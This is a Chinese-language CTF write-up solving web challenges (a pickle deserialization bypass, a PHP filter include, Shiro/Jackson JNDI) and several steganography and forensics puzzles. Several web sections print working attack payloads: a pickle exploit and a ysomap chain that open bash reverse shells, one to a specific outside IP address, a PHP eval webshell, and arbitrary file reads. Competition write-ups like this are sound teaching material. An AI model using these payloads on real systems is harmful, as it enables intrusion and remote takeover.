Web zerocalc 题目给出源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 const express = require ("express" );const path = require ("path" );const fs = require ("fs" );const notevil = require ("./notevil" ); const crypto = require ("crypto" );const cookieSession = require ("cookie-session" );const app = express();app.use(express.urlencoded({ extended : true })); app.use(express.json()); app.use(cookieSession({ name: 'session' , keys: [Math .random().toString(16 )], })); const utils = { async md5 (s ) { return new Promise ((resolve, reject ) => { resolve(crypto.createHash("md5" ).update(s).digest("hex" )); }); }, async readFile (n ) { return new Promise ((resolve, reject ) => { fs.readFile(n, (err, data ) => { if (err) { reject(err); } else { resolve(data); } }); }); }, } const template = fs.readFileSync("./static/index.html" ).toString();function render (s ) { return template.replace("{{res}}" , s.join('<br>' )); } app.use("/" , async (req, res) => { const e = req.body.e; const his = req.session.his || []; if (e) { try { const ret = (await notevil(e, utils)).toString(); his.unshift(`${e} = ${ret} ` ); if (his.length > 10 ) { his.pop(); } } catch (error) { console .log(error); his.add(`${e} = wrong?` ); } req.session.his = his; } res.send(render(his)); }); app.use((err, res ) => { console .log(err); res.redirect('/' ); }); app.listen(process.env.PORT || 8888 );
先试试 readFile('/flag')
,发现直接得到flag了。
ezPickle 题目给出源码,主要看 app.py。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from flask import Flask, request, session, render_template_string, url_for,redirectimport pickleimport ioimport sysimport base64import randomimport subprocessfrom config import notadminapp = Flask(__name__) class RestrictedUnpickler (pickle.Unpickler ): def find_class (self, module, name ): if module in ['config' ] and "__" not in name: return getattr (sys.modules[module], name) raise pickle.UnpicklingError("'%s.%s' not allowed" % (module, name)) def restricted_loads (s ): """Helper function analogous to pickle.loads().""" return RestrictedUnpickler(io.BytesIO(s)).load() @app.route('/' ) def index (): info = request.args.get('name' , '' ) if info is not '' : x = base64.b64decode(info) User = restricted_loads(x) return render_template_string('Hello' ) if __name__ == '__main__' : app.run(host='0.0.0.0' , debug=True , port=5000 )
很明显的 pickle 反序列化,而且限定了 module in [‘config’] 和 ‘__’,然后看 config.py。
1 2 3 4 5 6 notadmin={"admin" :"no" } def backdoor (cmd ): if notadmin["admin" ]=="yes" : s='' .join(cmd) eval (s)
需要 notadmin 中的 admin 参数为 yes 才能执行 eval。
那么先是全局变量覆盖,利用 c 和 s 操作码。
1 2 3 4 5 6 data = b"""cconfig notadmin S"admin" S"yes" s0 """
解释一下,先是利用 c 操作码导入 config 中的 notadmin,然后利用 s 操作码覆盖 notadmin 为 {‘admin’: ‘yes’},即可成功绕过 if 。
然后就是调用 config 中的 backdoor 函数去执行 eval。
1 2 3 4 5 6 7 8 9 data = b"""cconfig notadmin S"admin" S"yes" s0(S"__import__('subprocess').call(\"echo 'sh -i >& /dev/tcp/116.62.243.231/1500 0>&1'>x && bash x && rm -rf x\",shell=True)" iconfig backdoor . """
这里利用 i 操作码。
相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象)。
直接调用并执行 backdoor 函数,弹 shell 拿到 flag。
最后贴上 exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 import base64import pickletoolsdata = b"""cconfig notadmin S"admin" S"yes" s0(S"__import__('subprocess').call(\"echo 'sh -i >& /dev/tcp/116.62.243.231/1500 0>&1'>x && bash x && rm -rf x\",shell=True)" iconfig backdoor . """ print(base64.b64encode(data))
new_hospital
扫出来存在 old 目录,在 old 目录下的 feature.php 文件中存在被base64
编码过的 API cookie 参数,随便输一下发现存在 file_get_contents
,读取文件 feature.php
。
1 2 3 4 5 <?php if ($_COOKIE ['API' ]!="" ){ echo file_get_contents(base64_decode($_COOKIE ['API' ])); } ?>
找一找 flag 发现在 /var/www/html/flag.php。
EasyFilter 题目给出源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 <?php ini_set("open_basedir" ,"./" ); if (!isset ($_GET ['action' ])){ highlight_file(__FILE__ ); die (); } if ($_GET ['action' ] == 'w' ){ @mkdir("./files/" ); $content = $_GET ['c' ]; $file = bin2hex(random_bytes(5 )); file_put_contents("./files/" .$file ,base64_encode($content )); echo "./files/" .$file ; }elseif ($_GET ['action' ] == 'r' ){ $r = $_GET ['r' ]; $file = "./files/" .$r ; include ("php://filter/resource=$file " ); }
很明显是 使用 action
参数写入文件和读取文件。
先写一个 phpinfo
。
?action=w&c=%3C%3Fphp%20phpinfo()%3B%3F%3E
经过fuzz
后发现可以利用 @
截断之前的 php://filter/resource=./files/
,使之前的过滤器判断为文件目录。
?action=r&r=convert.base64-decode/resource@/../../../files/1c1d4f0ae3
成功得到 phpinfo
。
那就可以写马了,直接写一个 POST 的马。
1 ?action=w&c=<?php eval ($_POST [cmd]);?>
拿到flag
Give_me_your_0day Typecho
的 mysql 数据库创建,数据库地址和端口可控,发现可抓包更改数据库的适配器,更改为mysqli
,然后使用 roguemysql.php 脚本执行任意文件读取即可读取flag。
回显。
得到flag
Jack-Shiro 扫目录,得到/json。
然后抓包,发现重定向到/login。
查到CVE-2020-1957,可以绕过权限。
jackson反序列化 和JNDI注入 ,然后利用LDAP返回序列化数据触发本地Gadget Bypass限制。
使用工具ysomap,将服务器作为跳板。
1 2 3 4 5 6 7 use exploit LDAPLocalChainListener set lport portuse payload CommonsCollections8 use bullet TransformerBullet set version 3args 'bash -c {echo,YmFzaCAtaSA+JiBpcC9wb3J0IDA+JjE=}|{base64,-d}|{bash,-i}' run
发包执行。
成功弹shell,拿取flag:
Misc WeirdPhoto 010打开图片发现报错。
crc 脚本爆破下宽高。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 import binasciiimport structimport sysfile = input ("图片地址:" ) fr = open (file,'rb' ).read() data = bytearray (fr[0x0c :0x1d ]) crc32key = eval ('0x' +str (binascii.b2a_hex(fr[0x1d :0x21 ]))[2 :-1 ]) n = 4095 for w in range (n): width = bytearray (struct.pack('>i' , w)) for h in range (n): height = bytearray (struct.pack('>i' , h)) for x in range (4 ): data[x+4 ] = width[x] data[x+8 ] = height[x] crc32result = binascii.crc32(data) & 0xffffffff if crc32result == crc32key: print(width,height) newpic = bytearray (fr) for x in range (4 ): newpic[x+16 ] = width[x] newpic[x+20 ] = height[x] fw = open (file+'.png' ,'wb' ) fw.write(newpic) fw.close sys.exit()
得到图片。
猜测是个密码,找了半天发现只有千千秀字的栅栏密码 能得到明文。
THISISTHEANSWERTOOBSFUCATION
使用密码解出 out 文件,010看了看发现是 pdf 文件,且缺少文件头,补全文件头,得到完整的 PDF 文件。
使用 Wbsteg4.3open 空密码解密得到 flag。
mirror 打开图片发现存在 CRC 错误。
脚本修复得到原图。
010 打开图片后在文件尾发现了另一个 IEND
,猜测存在另一个图片。
提取出来后写个脚本倒转。
1 2 3 4 file = open ("source" , "rb" ).read() data = [file[i:i + 16 ] for i in range (0 , len (file), 16 )] data.reverse() open ("result.png" , "wb" ).write(b"" .join(data))
010打开图片后发现还是有 CRC 错误,修复得到原图,发现是两张一样的图片。
猜测是盲水印隐写,利用脚本解出图片。
仔细看发现有一串翻转后的数字,翻转后取出数字。
1 32effq8aa8374a02a9p1636ae8901qa0
根据题目提示写个脚本替换字符。
2-5 e-6 9-a p-b q-d
1 print("32effq8aa8374a02a9p1636ae8901qa0" .translate(str .maketrans("2e9pq56abd" , "56abd2e9pq" )))
最终得到flag
bar 将题目给出的 GIF 图片使用 Gifsplitter 分离,很明显的 白色和黑色图片,中间夹杂着一些灰色图片,以灰色图片为分割点,将 黑白图片 转换为 01 二进制,然后发现可以摩斯密码解密。
得到提示 CODE93
,查找得知是一种条码规范,那剩下的 黑白 图片应该是一个条码图片,写脚本转换为 01 字符,然后对照 CODE93
码表,得出字符串。
转换字符。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from PIL import Imagepath = "./result/" mark1 = Image.open (path + "IMG00027.bmp" ).getpixel((0 , 0 )) m1 = mark1 mark0 = Image.open (path + "IMG00028.bmp" ).getpixel((0 , 0 )) m0 = mark0 data = "" for i in range (27 , 334 ): tmp = Image.open (path + f"IMG{i:05d} .bmp" ).getpixel((0 , 0 )) if tmp == m1: data += "1" elif tmp == m0: data += "0" print(data)
由于 CODE93 存在校验码,且出题人用 0 将校验码填充了,将校验码部分删去,得到字符串。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 directory = {"100010100" : "0" , "101001000" : "1" , "101000100" : "2" , "101000010" : "3" , "100101000" : "4" , "100100100" : "5" , "100100010" : "6" , "101010000" : "7" , "100010010" : "8" , "100001010" : "9" , "110101000" : "A" , "110100100" : "B" , "110100010" : "C" , "110010100" : "D" , "110010010" : "E" , "110001010" : "F" , "101101000" : "G" , "101100100" : "H" , "101100010" : "I" , "100110100" : "J" , "100011010" : "K" , "101011000" : "L" , "101001100" : "M" , "101000110" : "N" , "100101100" : "O" , "100010110" : "P" , "110110100" : "Q" , "110110010" : "R" , "110101100" : "S" , "110100110" : "T" , "110010110" : "U" , "110011010" : "V" , "101101100" : "W" , "101100110" : "X" , "100110110" : "Y" , "100111010" : "Z" , "100101110" : "-" , "111010100" : "." , "111010010" : "SPACE" , "111001010" : "$" , "101101110" : "/" , "101110110" : "+" , "110101110" : "%" , "100100110" : "($)" , "111011010" : "(%)" , "111010110" : "(/)" , "100110010" : "(+)" , "101011110" : "* Start/Stop" } result = "" data = "101011110110001010100010100110100010100100010101000100110010100110100100100001010101010000101000010100100010100010010100101000110010100110100100110010100110101000100010010100001010100100010110001010100001010110100010100100100110001010100100010110010100100001010100100010101000100" for i in range (0 , len (data) - 1 , 9 ): result += directory[data[i: i + 9 ]] print(result)
字符串
* Start/StopF0C62DB973684DBDA896F9C5F6D962
拿去 条形码网站 重新生成一次条形码,读取后面的校验码。
tips: 经题目提示得知要小写,改为小写生成条形码。
得到校验码。
110010110 101001100
再拿去码表对照得到 um
。
拼接后为完整 flag
BlueWhale 使用 7-zip 解压文件得到一个流量包和一个压缩文件。
流量包在追踪 tcp 流的时候发现 password
。
th1sIsThEpassw0rD
010 查看压缩包中的 password.txt
大小为17,且用的是 deflate
算法压缩的,猜测为明文攻击。
将得到的 password 放入文档然后使用 bandizip
进行 deflate
算法压缩,得到的 CRC 与压缩文件的 CRC 相同。
使用 ARCHPR
进行明文,得到密码。
将得到的图片去试试 zsteg
,发现可以一把梭得到flag。